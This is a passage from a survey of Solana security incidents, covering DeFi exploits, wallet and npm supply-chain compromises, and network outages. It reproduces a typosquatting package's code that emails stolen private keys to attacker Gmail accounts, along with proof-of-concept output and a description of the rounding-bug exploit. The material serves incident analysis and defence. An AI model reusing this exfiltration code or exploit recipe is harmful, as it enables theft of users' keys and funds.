- The attacker made the first deposit into Cypher master account of 0.1 USDC
- The attacker successfully exploited the protocol using the first master account created and left the system with ~$1.925 of bad debt
- The attacker proceeded to create 15 different master accounts and repeated the same steps, starting with deposits much larger than the initial one, thus being able to withdraw a much greater amount of funds
Root Cause
Cypher uses two types of user accounts:
- Master account: keeps a cached summary of all linked sub-accounts.
- Sub account: holds actual asset/liability data for margin trading.
There are two margin modes:
- Cross margin (default): assets in one sub account can support borrowing in another.
- Isolated margin: each sub account manages its own risk separately.
The problem began when switching to isolated margin. When a user switched a sub account to isolated margin, the sub account was updated, but the master account cache wasn’t fully updated. This created a discrepancy between the real state and the cached state.
Then came the second issue: Margin checks are supposed to use volatile collateral ratios when an asset price becomes unstable. But because the oracle feeds that detect volatility weren’t active, the volatile ratio was always 0.
READ THE FULL CYPHER PROTOCOL POST MORTEM
Impact
These vulnerabilities allowed the attacker to take out bad loans and leave the protocol saddled with over $1 million in bad debt.
Response
Immediately, Cypher froze its smart contract . Cypher announced the exploit on Twitter and engaged OtterSec and other auditors to scrutinize logs. Over the next few days, they tracked funds and tried to initiated dialogue with the attacker .
By late August, Cypher launched a recovery portal for victims to claim a pro-rata share of remaining treasury funds and any recovered assets. They managed to recover some portion (possibly from the insider or via white-hat help).
Users ended up with a partial reimbursement . Cypher’s protocol remained offline, essentially in resolution mode.
Remediation:
Given Cypher’s state, remediation focused on user compensation rather than restarting. The team has not relaunched Cypher on Solana as of April 2025, so this incident serves as a learning reference.
Lessons Learned
The broader lesson for similar protocols is to have multiple reviewers for all code changes.
In summary, Cypher’s exploit was modest in size but rich in cautionary elements: the need for robust code reviews, proper cache management, and active risk monitoring systems. The possibility of insider threats also highlights the importance of operational security and proper access controls even within trusted development teams.
PumpFun Flash-Loan Attack — May 16, 2024
Incident
Solana-based meme coin launchpad Pump.fun announced that a former employee used their “privileged position” to access “withdraw authority” and misappropriated around 12,300 SOL, worth approximately $1.9 million at the time.
To prevent further damage, Pump.fun halted trading and updated the contracts. This muddled situation combined an exploit with potential insider misconduct.
Technical Details
An attacker, using the wallet address 7ihN8QaTfNoDTRTQGULCzbUT3PHwPDTu5Brcu4iT2paP,, was exploiting Pumpfun by buying up all the tokens of new projects launched on the platform within minutes.
This filled the bonding curve to 100%. The attacker apparently used flash loans from Margin.fi to get SOL and buy up the tokens without actually using their own SOL.
By quickly bonding out the token supplies to 100%, the attacker prevented the tokens from getting listed on the Raydium DEX as intended.
They then withdrew liquidity from pump.fun — something only “admin” should be able to do (these funds are supposed to be used to create the Raydium market) and repaid the flash loan.
Root Cause
In either case, the root cause is part technical, part human. It underscores issues of developer trust and key management — internal team members often have broad access (e.g. deployer authority), which if abused is hard to prevent.
Impact
Out of $45 million in total liquidity, approximately $1.9 million was affected
Response
In a post on X, Pump.fun said that it was “aware” that the contracts were compromised and were investigating.
“We have upgraded the contracts so the attacker cannot siphon any more funds. The TVL in the protocol right now is safe,” the team said. “We’ve paused trading — you cannot buy and sell any coins at the moment. Any coins that are currently in the process of migrating to Raydium cannot be traded and will not be migrating for an indefinite period of time.”
Remediation
The Pump.fun team then redeployed the contracts and resumed trading with a 0% fee for the next seven days.
Lessons Learned
Pumpfun’s exploit highlights an overlooked aspect: insider risk in DeFi. While most hacks are external, this showed the community that insiders can exploit systems too.
However, the broader lesson for similar protocols is to strengthen internal controls: have multiple reviewers for all code changes, use multi-sig for deployment, and monitor developer activity.
Time.fun Backend Signature Vulnerability — March, 2025
Incident
White hat hackers discovered a critical vulnerability in Time.fun, a Solana-based platform, allowing potential attackers to steal all trading fees and modify metadata of every token launched on the platform. The security researchers (@shoucccc and @tonykebot) engineers from SoLayer identified and responsibly disclosed the issue, conducting a white hat hack to demonstrate the severity before returning all funds. The vulnerability centered around backend signature misuse that could have resulted in significant losses.
Technical Details
Time.fun provides each new user with a dedicated wallet to deposit USDC for trading, with the user’s private key securely stored by a third-party provider. To cover gas fees and enable seamless interaction, a specific platform wallet (“HW2C…Lo1H”) was designed to sign every trade transaction alongside the user’s wallet signature.
The researchers discovered that this same wallet also owned all tokens launched by Time.fun. Since this wallet was a required signer for transactions, attackers could act on behalf of “HW2C…Lo1H” if they could trick the backend into signing arbitrary data.
The exploit worked by forging a token that would trick the backend into believing it was signing a legitimate transaction, when in fact it was signing data that would allow attackers to:
- Change metadata of any token (e.g., modify “toly’s minute” to “vitalik’s minute”)
- Withdraw all funds from the “HW2C…Lo1H” wallet
Root Cause
The root cause was a fundamental design flaw in the transaction signing architecture. The Time.fun backend was blindly signing transactions constructed by the frontend without sufficient validation of what was actually being signed. This created a situation where:
- The platform used a single wallet as both a co-signer for user transactions and as the owner of platform assets
- The backend signing service lacked proper validation of the transaction’s purpose and contents
- The system trusted frontend-supplied transaction data, which could be manipulated
Despite having validation or simulation checks in place, these security measures could be bypassed by obfuscating transactions or bundling/front-running transactions to alter their semantics.
Impact
While no actual funds were lost thanks to the white hat disclosure, the vulnerability put at risk:
- All trading fees collected by the platform
- The integrity of token metadata across the platform
- User trust in the platform’s security model
The potential for financial and reputational damage was significant had this vulnerability been exploited maliciously.
Response
The white hat hackers reached out to the Time.fun team by purchasing 1 minute of the founder’s time on the platform itself. Meanwhile, they conducted a controlled hack to demonstrate the vulnerability. The team responded quickly, acknowledging the issue and implementing a fix. The security researchers returned all funds they had accessed during their proof of concept.
Remediation
Time.fun resolved the vulnerability promptly after being notified. While specific technical details of the fix weren’t disclosed, proper remediation would likely include:
- Restructuring the signing architecture to separate user transaction signing from platform asset management
- Implementing stricter validation of transactions before signing
- Introducing multi-signature requirements for sensitive operations
- Adding additional verification steps for transactions that modify metadata or withdraw funds
Lessons Learned
This incident reveals that backends should never sign transactions coming from frontends without thorough validation, as simulation checks can be bypassed through transaction obfuscation.
Critical infrastructure requires strict separation between wallets handling user transactions and those controlling platform assets. Solana dApps must implement comprehensive transaction validation before signing, especially for operations involving funds or metadata changes.
The Time.fun vulnerability demonstrates how architectural flaws can undermine security regardless of other protections in place. All Solana projects should audit their signing architectures regularly, assuming components may be compromised and designing systems to limit potential damage from any single point of failure.
The above incidents represent the major application-layer exploits on Solana up to April 2025. Collectively, these exploits account for over $431M of losses, with the Wormhole and Mango exploits being the largest. Notably, several had partial fund recoveries (Crema, Mango, Raydium, Cypher) thanks to negotiations or intervention, which is a trend in 2022–2023. Nonetheless, DeFi on Solana has clearly been a security battleground, driving many improvements in auditing, on-chain monitoring, and protocol design.
Supply Chain Attacks (Wallets, Libraries & Infrastructure)
Supply chain attacks target the broader ecosystem around the blockchain — wallets, libraries, developer tools — rather than the on-chain programs directly.
In Solana’s history, a few notable incidents fall here, where vulnerabilities in third-party software or processes led to compromises of user keys or dApp security.
SPL Token-Lending Contract Critical Bug — 5th June 2021 (Discovered)
Incident
On June 5, 2021, auditors from Neodyme identified a severe vulnerability in Solana’s Token Lending program (part of the Solana Program Library, SPL). This program was used by multiple lending platforms (Solend, Larix, Tulip, etc.) for their core lending logic.
The bug — a subtle math error — could have allowed an attacker to “steal” from lending pools by repeatedly lending a tiny amount and withdrawing a rounded-up larger amount. Roughly $2.6 billion of assets were at risk across protocols. Fortunately, whitehats discovered it first; there was no malicious exploitation. Neodyme performed a coordinated disclosure in December 2021.
Technical Details
The bug was essentially a rounding error in token conversion. When users deposited tokens to get interest-bearing cTokens, a flawed calculation could credit slightly more cTokens than it should (due to integer rounding).
Here’s the core of the bug, boiled down to its simplest form:
How it’s supposed to work:
- You deposit “real” tokens (like SOL) and receive collateral-tokens (cTokens) at a certain exchange rate.
- Later you redeem those cTokens back into real tokens at the current exchange rate.
Where the bug lives:
- Because Solana tokens have a smallest unit (for SOL it’s the “lamport”), any fractional result has to be rounded to an integer number of those units.
- If you pick just the right amount to deposit and then immediately withdraw, the system rounds up in both directions — so you get 1 extra smallest unit each round.
Why it matters:
- 1 lamport of SOL is tiny (~$0.00000022), so one round isn’t worth much.
- But some tokens have larger smallest-unit values (e.g., BTC’s 10⁻⁶ BTC ≈ $0.05), so each exploit nets you a few cents.
Making it big:
- You can batch hundreds of these “deposit→withdraw” pairs in one transaction (thanks to Solana’s high instruction limits).
- That turns a few cents per round into several dollars per transaction.
- And if you can push hundreds of transactions per second, you can literally mint thousands of dollars every second.
An initial GitHub issue had been noted months prior, but the severity went unrecognized until Neodyme dug deeper.
Root Cause
A floating-point precision/rounding bug in financial math — essentially an underflow that let value accumulate to the attacker. It’s analogous to historical Ethereum bugs where precision errors (e.g., in Bancor’s early contracts) allowed value creation.
The issue had been flagged but not prioritized. Back then, it was likely dismissed as “oh no, stealing one token, that’s not gonna be economically viable because of transaction fees”.
Neodyme proved the exploit was viable by creating a proof-of-concept that demonstrated stealing 0.000001 BTC in a single transaction on their local copy of the blockchain state.
Loading upgradable program So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo from cluster
Loading account DMCvGv1fS5rMcAvEDPDDBawPqbDRSzJh2Bo6qXCmgJkR from cluster
Loading account 4UpD2fh7xH3VP9QQaXtsS1YY3bxzWhtfpks7FatyKvdY from cluster
Loading account GYzjMCXTDue12eUGKKWAqtF5jcBYNmewr6Db6LaguEaX from cluster
Loading account Gqu3TFmJXfnfSX84kqbZ5u9JjSBVoesaHjfTsaPjRSnZ from cluster
Loading account 9HrQ9RuRsHjKXuAbZzMHMrYuyq62LjY3B7EBWkM4Uyke from cluster
Loading account 9n4nbM75f5Ui33ZbPYXn59EwSgE8CGsHtAeTH5YFeJ9E from cluster
Loading account 4jkyJVWQm8NUkiJFJQx6ZJQhfKLGpeZsNrXoT4bAPrRv from cluster
Loading account GVXRSBjFk6e6J3NbVPXohDJetcTjaeeuykUpbQF8UoMU from cluster
Loading account 74YzQPGUT9VnjrBz8MuyDLKgKpbDqGot5xZJvTtMi6Ng from cluster
Loading account 9CjhBpwiQbP2zYnj7PqHTxPPp2BCR4Y4rP4ZPWkqrCQk from cluster
Amount before: 10 BTC
Using 0.328 BTC
Amount after: 10.000001 BTCSource: Neodyme Blog:How to Become a Millionaire, 0.000001 BTC at a Time
Remediation
Neodyme addressed the issue through an open pull request that replaced all round operations with floor operations. This prevents the amount of tokens you get out from being greater than the amount of tokens you put in, unless the ctoken appreciates (which is intended behavior).
The team reported the vulnerability to both the Solana Foundation and to Solend, the most prominent user of the lending program.
Because SPL-token-lending is only ever used through forks, they needed to discover who else might be vulnerable. They wrote on-chain tooling that scanned all recently active programs resembling the original lending contract and identified six candidates: Larix, Tulip, Port, Solend, Soda, and Acumen.
Larix 7Zb1bGi32pfsrBkzWdqd4dFhUXwp5Nybr1zuaEwN34hy
Tulip 4bcFeLv4nydFrsZqV5CgwCVrPhkQKsXtzfy2KyMz7ozM
Port Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR
Solend So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo
Soda Soda111Jv27so2PRBd6ofRptC6dKxosdN5ByFhCcR3V
Acumen C64kTdg1Hzv5KoQmZrQRcm2Qz7PkxtFBgw7EpFhvYn8WFurther investigation confirmed that only Solend (open-source) and three others — Tulip, Larix, and Port — had forked the vulnerable code. Soda and Acumen were false leads, and other markets like Jet and Apricot never forked the code at all.
The team disclosed the vulnerability through each project’s official security channels. Port had already back-ported the fix months earlier, and Solend, Tulip, and Larix promptly patched their forks once notified.
Response
Neodyme coordinated a model response. They secretly alerted Solana Labs and affected projects in early December 2021. Within 48 hours, patches were written, tested, and deployed network-wide: “Solend fixed the bug by 17:45 Dec 2… Tulip by 22:40… Larix by Dec 3… fix merged upstream by Dec 4”. This remarkably fast fix (each project patched within hours of contact) was possible because the vulnerability was in a shared SPL library — Solana core devs issued a fix and projects upgraded promptly.
No users lost funds in the interim. On Dec. 3, 2021, Neodyme published a detailed post-mortem “How to Become a Millionaire, 0.000001 BTC at a Time”once all platforms were safe.
Impact
Though no funds were stolen, the potential impact was massive — estimated $2.6B TVL at risk across Solana lending protocols. If exploited, attackers could have drained liquidity from many pools (Solend, Larix, etc.) resulting in insolvency of those platforms. The discovery likely prevented a catastrophic multi-billion dollar hack in Solana DeFi’s early days.
Lessons Learned
This incident underlined the importance of auditing common libraries. Many Solana DeFi projects had assumed the SPL contracts were battle-tested; after this, projects like Solend and others increased their own testing on third-party code. It also demonstrated the effectiveness of coordinated disclosure — done quietly, it prevented mass panic or a race between whitehats and blackhats. The community realized that while Solana’s runtime is safe (memory-safe Rust), logic bugs in financial math can still occur and may be harder to spot without careful formal analysis. This spurred more rigorous audits in Solana’s ecosystem (firms like Kudelski, OtterSec, Trail of Bits were subsequently engaged for audits of critical programs).
Slope Wallet Key Breach — August 2, 2022
Incident
In early August 2022, over 9,214 Solana wallets (mostly Slope and some Phantom wallets) were mysteriously drained of funds in a massive attack. Users saw SOL and SPL tokens vanish from their wallets without any interaction.
The breach originated from a supply-chain failure in Slope Finance’s wallet app: Slope’s mobile wallet was inadvertently logging users’ secret recovery phrases to an external server (Sentry) in plaintext.
Attackers obtained these logs and thus the private keys, enabling them to steal ~$4.5M directly from user wallets. This was not a blockchain protocol hack, but a client-side compromise — essentially one of the largest crypto wallet breaches by user count.
Technical Details
Slope Wallet, a Solana wallet provider, used an error tracking service called Sentry in its apps. Sentry was configured incorrectly: it was capturing sensitive data.
Specifically, whenever a user created or imported a wallet, the app sent the plaintext seed phrase and private key to Sentry’s servers as part of error logging. These logs were stored without encryption, and apparently Slope did not restrict access properly. The attacker either hacked into Sentry or intercepted the logs via a proxy.
Once armed with users’ seed phrases, the attacker simply used them to derive private keys and systematically drained wallets over a span of about 7 hours.
The attack technique required no on-chain exploit — it was pure key theft. It affected primarily Slope users (who had exposed their keys via the app) and some Phantom users who had previously imported their seed into Slope (thus inadvertently exposing it).
Root Cause
Critical security oversight by a wallet developer. The root cause was human error in software configuration — failing to disable or filter sensitive data in telemetry. This is a classic supply-chain vulnerability: users trust wallet apps to handle their keys securely, and Slope betrayed that trust by leaking keys to a third-party service.
The attacker’s “hack” was essentially finding where those keys were stored (Sentry) and grabbing them. It’s akin to a server breach — like if a password manager accidentally sent all passwords to the cloud in plaintext. This event also highlights the risk of closed-source wallet software: at the time, Slope’s code wasn’t thoroughly vetted by the community, so such an egregious error went unnoticed until it was exploited.
Impact
Around 9,214 wallets were compromised, losing a total of $4.5 million in SOL, USDC, and other tokens on the Solana blockchain according to SlowMist analysis. The attacker addresses identified by SlowMist include:
Htp9MGP8Tig923ZFY7Qf2zzbMUmYneFRAhSp7vSg4wxV
CEzN7mqP9xoxn2HdyW6fjEJ73t7qaX9Rp2zyS6hb3iEu
5WwBYgQG6BdErM2nNNyUmQXfcUnB68b6kesxBywh1J3n
GeEccGJ9BEzVbVor1njkBCCiqXJbXVeDHaXDCrBDbmuy
This incident affected many small retail users, making it a widespread event that garnered mainstream attention.
Users were urged to move funds to hardware or new wallets. The incident shattered trust in Slope Wallet (its user base plummeted), and even Phantom (Solana’s leading wallet) had to clarify that its systems were not breached but some Phantom users suffered because of reused seed phrases.
Response
Solana’s developers and security community sprang into action when reports surfaced of “phantom” wallet drains. Solana Status confirmed that wallets of Slope users were affected and advised users to regenerate seed phrases.
Slope Finance eventually admitted their role, stating a subset of wallets’ details had been leaked. They claimed “no conclusive evidence” at first, but it became clear Slope was the common denominator.
From the technical post-mortems (community-driven, as Slope’s own transparency was limited), we know Slope shut down Sentry logging and patched the app to stop sending seed phrases. Security researchers like OtterSec and SlowMist helped investigate. Slope offered a bounty to the hacker for return (none was returned)
Remediation
For Slope, remediation came too late — the damage was done. They apologized and reportedly hired security experts to audit their codebase. But user confidence evaporated; most moved to Phantom, Solflare, or hardware wallets. The Solana community learned from this: other wallets quickly audited their telemetry settings. Phantom, for instance, assured users it does not send seed phrases anywhere and performed additional reviews to confirm.
The incident led to louder calls for open-source wallet code and wallet security standards. By 2023, many Solana wallets (including Phantom eventually) open-sourced their code to invite community scrutiny. The Solana Foundation also launched security grant programs specifically focusing on wallet security improvements (like seed phrase education, better signing UX to avoid other issues).
Lessons Learned
The Slope hack proved that key management is the most crucial aspect of crypto security — even the most secure blockchain is vulnerable if wallet software leaks keys.
Users learned to avoid reusing seed phrases across wallets and to be cautious with lesser-known wallet apps. For developers, the stark lesson was to never log sensitive data and to properly configure telemetry services. This incident highlighted how supply-chain vulnerabilities (whether negligent or malicious) can compromise wallet security, which led to increased focus on auditing dependencies and promoting hardware wallet support throughout the Solana ecosystem.
@Solana/web3.js Incident — December 2–3, 2024
Incident
In software development, supply chain security is crucial, particularly given the growing use of open-source libraries. The well-known @solana/web3.js npm package was involved in a serious supply chain security incident that affected the Solana community on December 2, 2024.
This library is downloaded more than 600,000 times every week and is crucial for developers working on the Solana blockchain. The event draws attention to weaknesses in the software supply chain and emphasizes the necessity of taking preventative action to guarantee security. A summary of the incident and its ramifications may be found here.
Technical Details
The attack affected versions 1.95.6 and 1.95.7 of the package and occurred through a phishing compromise of npm publishing credentials. Attackers inserted a backdoor function called addToQueue designed specifically to capture and exfiltrate private keys used for signing transactions and accessing wallets.
The malicious code targeted critical cryptographic operations including Keypair.fromSecretKey and Keypair.fromSeed, which are commonly used when handling private keys. The compromised packages remained available on npm for approximately five hours, creating a window where any applications updating to or freshly installing these versions were potentially exposed.
Root Cause
The root cause of this incident was a successful social engineering attack against a maintainer with publishing rights to the @solana/web3.js package. The attacker employed targeted phishing techniques to compromise the maintainer’s npm credentials, gaining the ability to publish malicious versions of the package.
This represented a classic supply chain attack, where the integrity of widely-distributed software is compromised at its source.
Impact
The financial impact was estimated at $130,000 in losses, as reported by Mert Mumtaz, CEO of Helius Labs. The quick response from the Solana team limited the damage by restricting the download window of compromised versions to just five hours. Importantly, the issue was limited to the JavaScript client library and did not compromise the security of the Solana blockchain itself.
Response
Mend.io tracked the issue as MSC-2024–17462 and MSC-2024–17463, issuing alerts for affected versions to its customers.
The Solana team issued a CVE profile to address the issue.
Remediation
Solana founadation removed the malicious code through their Version 1.95.8: upgrade. They urged developers to upgrade to thelatest .
Developers that suspect they might be compromised were advised to rotate any suspect authority keys, including multisigs, program authorities, server keypairs, and so on.
Lessons Learned
This incident highlights that blockchain security extends beyond smart contracts to the entire development supply chain. Package maintainers should enforce multi-factor authentication and signed commits, while developers should pin exact dependency versions and verify package integrity. The relatively contained damage demonstrates the value of rapid detection and response capabilities in the Solana ecosystem.
npm PackageLibrary Malware — January 2025
Incident
In January 2025, security researchers uncovered a malicious package campaign on npm specifically targeting Solana developers. Several typosquatting packages were found to contain code that would steal Solana wallet private keys from developers’ systems and send them via Gmail SMTP to the attackers.
This is a modern example of a supply-chain attack via developer tools — by tricking developers into installing a compromised library, attackers attempt to exfiltrate any Solana keys present on the machine (for example, keys used in testing or deployment).
Technical Details
The malicious packages identified included names like @async-mutex/mutex (impersonating a real mutex library), dexscreener (mimicking a DEX data library), solana-transaction-toolkit, solana-stable-web-huks on npm, and one PyPI package pycord-self. The first four were particularly Solana-focused: they were built to scan the infected system for Solana private keys.
They did this likely by searching common file paths (e.g. the Solana CLI keypair file in home directory) or intercepting usage of Solana key objects in memory. Once found, the malware would send the keys (or seed phrases) to the attacker’s Gmail via SMTP, disguising the exfiltration as email traffic.
Notably, two of the packages went further: solana-transaction-toolkit and solana-stable-web-huks would not only steal keys but also automatically use them to drain up to 98% of the wallet’s funds to the attacker’s address. This automated theft was cunning – leaving 2% behind to possibly avoid immediate suspicion (since an empty wallet is an obvious red flag)
const transporter = nodemailer.createTransport({
host: "smtp.gmail.com", // Using Gmail's SMTP server for exfiltration
port: 465, // SSL port to secure the connection
secure: true, // Enforces a secure connection (SSL/TLS)
auth: {
user: "vision.high.ever@gmail.com", // Attacker-controlled Gmail account
pass: "[redacted]", // Redacted hardcoded password
},
});
const sendEmail = async (privateKey) => {
// This function is responsible for sending the stolen private key via email
const email = {
from: "vision.high.ever@gmail.com",
to: "james.liu.vectorspace@gmail.com", // Attacker's inbox where stolen keys are collected
subject: "Hi, This is Dexscreener", // Deceptive subject referencing the malicious package name
text: privateKey, // The victim’s private key is inserted directly into the email body
};
await transporter.sendMail(email); // Sends the stolen data to the attacker's Gmail accountGmail For Exfiltration: Malicious npm Packages Target Solana Private Keys and Drain Victims’ Wallets
The packages achieved this by hooking into the Solana web3 functions or simply executing key stealing upon import. The whole attack vector relies on developers (or even end-users) installing these libraries in their projects or scripts, believing them to be legitimate. It’s a social engineering + malware combo.
Importantly, no specific exploit in Solana’s blockchain or official tooling was involved — the attack preyed on mistakes (typos) and trust in open-source repositories.
Root Cause
The root cause is typosquatting and open repository trust — an inherent risk in ecosystems like npm. There was no vulnerability in Solana’s code; rather the attackers exploited human error (typoing a package name or choosing an unvetted library).
It’s a reminder that any code running in a developer environment can compromise keys if not sandboxed. The specific design — using Gmail SMTP — was clever to avoid detection, as it blends in with normal network traffic (sending email) and Gmail is trusted so it might bypass some firewalls.
This is analogous to attacks in other ecosystems: e.g. malicious Python packages that sent AWS keys to attackers via DNS or email. It underscores that Solana’s security extends beyond on-chain — it includes dev practices.
Impact
Discovered by security firm Socket in Jan 2025, it’s unclear if any funds were actually stolen via these packages or if they were caught before major damage.
The public disclosure suggests the intent was to perform supply-chain attacks potentially on high-value targets (like devs at Solana projects, who might have deployer keys on their system).
It’s a preventative success in that the community was alerted before a known mass incident. If not caught, this could have led to stealth breaches of Solana projects or individual dev wallets. We can analogize to the event-stream npm package incident (in Ethereum’s ecosystem) where a dependency was compromised to target Copay wallet in 2018. This appears to be Solana’s first big encounter with malicious packages aimed at it.
Socket’s report noted the packages had few downloads (typosquatting often catches some though), so likely impact was limited. But it set off alarms in the developer community to double-check what they install.
Response
Upon discovery, the malicious packages were removed from npm libray and the package names were reported. Platforms like npm have security teams that yank such packages quickly. Socket published a blog post detailing the IoCs (indicators of compromise) — e.g. the attacker’s Solana address used (to which stolen funds would go)socket.dev — so that any past victims could investigate.
Developers were urged to rotate any keys that might have been on machines where these packages were installed, and to update dependencies.
Remediation
On the ecosystem level, raising awareness is key. After this, Solana devs started double-checking package authenticity (e.g. using npm audit or services like Socket to flag risky imports). Some projects locked dependencies to known-good versions. The maintainers of legitimate packages that were mimicked (like async-mutex) added keywords or warnings to help developers not fall for fakes.
In the longer term, the solution is adopting package signing and verification — something npm and PyPI are working on. Until then, careful review of new libraries (stars, author, etc.) is the best defense.
Lessons Learned
For developers: Typos can be fatal! One misspelled dependency and your system (and crypto keys) could belong to an attacker. This incident taught devs to incorporate security tooling in their workflow. For example, use automated scanners for malicious patterns (the malicious packages here were detected by noticing they access OS key paths and use SMTP). It’s also a case for principle of least privilege — developers should not be keeping mainnet private keys in plain form on development machines. Use key managers or isolated environments.
Serum DEX and FTX Compromise — November 2022 (Averted Supply-Chain Risk)
(Honorable mention:) While not an “incident” of funds stolen, it’s worth noting the Serum DEX key compromise risk in Nov 2022 as a supply-chain vector. Serum, the central order book DEX on Solana, had an upgrade authority controlled by FTX. When FTX collapsed and was hacked, Serum’s key may have been in hostile hands. Fearing a potential malicious upgrade to Serum’s program, Solana developers preemptively forked Serum into OpenBook, effectively neutering the risk. This event illustrated how the collapse of a centralized entity (supply chain trust in FTX) posed a threat to Solana’s DeFi infra, and the community acted to mitigate it. The lesson here was to avoid central points of failure for DeFi programs (Serum’s key should have been a multi-sig, not with a CEX). After this, nearly all major Solana programs moved to community governance or multi-sigs for control.
Supply-chain attacks, ranging from wallet security lapses to malicious libraries and key compromises, have taught Solana a great deal. They reinforce the notion that security is end-to-end: it’s not enough for Solana’s core to be fast and secure, the entire ecosystem of software and dependencies must be vetted. As Solana grows, we can expect attackers to keep probing the softer targets (user endpoints, dev tools). The community’s response — improving wallet transparency, adopting security tooling like Immunefi bounties for wallets, and educating devs — is crucial to strengthen these weakest links.
Core Protocol Issues (Consensus & Core Software Vulnerabilities)
Core protocol issues are incidents where Solana’s blockchain software or consensus mechanism had a flaw, leading to network outages or potential consensus failures (as opposed to individual dApp exploits). Solana, being a new L1 with a novel proof-of-history + proof-of-stake design, experienced multiple network halts and critical bugs in its early years. Below is a chronological account of major core protocol incidents:
Solana Network Outages
Solana has experienced at least 11 network outages (partial or full) from 2020–early 2024 These are events where the validator network stalled (no new blocks) and often required coordinated restarts. We will detail the most significant ones:
- Dec 4, 2020 — Mainnet Beta Stall(first outage)
- Sep 14, 2021–The Grape Protocol IDO — 17h Outage (IDO bots overload)
- Jan 6–12, 2022 — Degraded performance from High Congestion
- Jan 21, 2022–29h Partial Outage (duplicate TX flood)
- Apr 30, 2022– Candy Machine Spam— 14h Outage (NFT mint bot spam)
- June 1, 2022–4h Outage (Durable nonce consensus bug)
- Sep 30, 2022–7h Outage (Duplicate block bug)
- Feb 25, 2023–19h Outage (Turbine flooding by giant block)
- Feb 6, 2024–4.5h Outage ( from JIT Bytecode Cache Bug)
We focus on those with clear technical causes identified:
Mainnet Beta Stall Outage — December 4, 2020
Incident
In December 2020, the Solana network experienced a significant outage lasting approximately six hours due to a block propagation bug in Turbine, Solana’s block propagation mechanism.
The failure wasn’t from external attack but rather from a previously known block repair and code processing issue that was triggered unexpectedly. The outage halted transaction processing and highlighted potential consensus challenges in the network’s early mainnet days.
Technical Details
The incident was triggered when a validator accidentally transmitted two different blocks for the same slot number and propagated them to two separate network partitions (which we’ll call A and B). Meanwhile, a third partition independently detected this inconsistency.
Since each of these three network partitions held only a minority of the total stake, none could achieve the supermajority consensus (80% of stake) required for Solana to progress the chain. The network essentially deadlocked at this point.
The underlying issue stemmed from how Solana’s internal data structures tracked blocks and their computed state. The system used the Proof of History (PoH) slot number (a u64 identifier) to reference both the state and the block at that slot. Once the network split into partitions, nodes misinterpreted blocks A and B as identical because they shared the same slot number, preventing proper repair and block synchronization.
This created a fundamental conflict in the network:
- Nodes holding block A rejected forks derived from block B
- Nodes holding block B rejected forks derived from block A
Each partition incorrectly assumed that the other partitions had the same block (because they shared the same slot number), but since the actual state transitions differed between partitions, validators could not repair or reconcile the forks, preventing finality.
Root Cause
The root cause was a design flaw in how Turbine handled conflicting blocks at the same slot height. When validators requested missing blocks from peers, they used slot numbers rather than block hashes as identifiers. This meant nodes couldn’t recognize when they received a different block than expected for a given slot.
The system lacked mechanisms to detect duplicate blocks at the same slot, properly propagate both versions to all validators, and allow consensus to resolve which block should be canonical.
Impact
During the six-hour outage:
- No new transactions could be processed
- Dapps and services on Solana were unavailable
- Trading on Solana DEXs halted
Most of the downtime resulted from waiting for enough stake weight to come back online to reach the 80% threshold required to resume block production.
Response
The Solana team identified the issue and deployed a fix across the validator network. The response involved diagnosing the exact cause, creating a patch to handle conflicting blocks, communicating with validators to update software, and waiting for sufficient stake weight to resume consensus.
Remediation
The remediation for this issue was to allow services to track blocks by hash instead of slot number. If any number of blocks for the same slot create partitions, they are treated no differently than partitions with blocks that occupy different slots. Nodes will be able to repair all possible forks, and consensus will be able to resolve the partitions.
Although the bug was the initial cause of the outage, most of the downtime resulted from waiting for enough stake weight to come back online, as Solana requires at least 80% stake participation to resume block production.
Lessons Learned
The incident highlighted several critical insights for Solana’s development. Block identification should rely on cryptographic hashes rather than sequence numbers to prevent ambiguity. Protocols must have robust recovery mechanisms for network partitions, even without malicious activity. Consensus restart times are a critical metric — most downtime stemmed from gathering sufficient stake weight rather than developing a fix. Early detection of network inconsistencies is crucial for preventing network-wide outages.
This incident shaped Solana’s approach to network resilience, leading to more robust block propagation and repair mechanisms.
The Grape Protocol IDO — 17h Outage (IDO Bot Overload) — Sept 14, 2021
Incident
On September 14, 2021, Solana experienced a major network stall lasting 17 hours following Grape Protocol’s launch of its on-chain initial DEX offering (IDO) on Raydium AcceleRaytor. Within 12 minutes of the IDO, the network became overwhelmed by an unprecedented flood of bot-driven transactions and stopped producing rooted slots. These bots effectively executed a distributed denial-of-service (DDoS) attack, pushing transaction loads beyond the network’s capacity.
Technical Details
The problem was resource exhaustion — bots bombarded the token sale with transactions. Solana faced 300,000 TPS
Raw transaction data exceeded 1 Gbps, with 120,000 packets per second. — transactions flooding validators’ mempools.
One of the bots structured its transactions to write-lock 18 key accounts, including the global SPL token program and the Serum DEX program. This blocked all transactions interacting with these accounts, severely reducing Solana’s parallel processing capability. Instead of executing transactions independently, the network became bottlenecked, processing transactions sequentially — exacerbating congestion.
During the IDO event, validators received a flood of bot-driven transactions and, in turn, forwarded excess transactions to the next leader, amplifying congestion. Additionally, Solana’s RPC nodes automatically retried failed transactions, a feature designed to improve reliability. However, this retry mechanism exacerbated transaction flooding under extreme congestion, keeping old transactions in circulation instead of allowing the network to recover.
Under heavy congestion, Solana leaders failed to include vote transactions, which are critical for maintaining consensus. As a result, the lack of confirmed votes led to a consensus stall, halting the production of new root blocks.
Root Cause
The primary cause was a memory overflow from bot transactions, combined with several design limitations: honoring write-locks on programs that created sequential bottlenecks; unbounded transaction forwarding between validators; aggressive RPC retry behavior; and lack of prioritization for vote transactions.
During the restart, a second issue emerged when an integer overflow bug caused validators to report fluctuating stake amounts because inflation calculations exceeded the capacity of a 64-bit integer.
Impact
The network was completely halted for seventeen hours, preventing all transactions and disrupting all services built on Solana. The outage affected the entire ecosystem, from DeFi protocols to NFT marketplaces.
The network was completely halted for seventeen hours, preventing all transactions and disrupting all services built on Solana. The outage affected the entire ecosystem, from DeFi protocols to NFT marketplaces.
Response
The Solana team coordinated with validators to restart the network with updated software that implemented several critical fixes.
Remediation
Four key fixes were implemented: ignoring write locks on programs to prevent transaction bottlenecks; adding rate limits on transaction forwarding to control congestion; implementing configurable RPC retry behavior with shorter expiry times and backoff strategies; and prioritizing vote transactions in validators’ TPU to maintain consensus during high load. The integer overflow bug was quickly patched before a second restart.
Lessons Learned
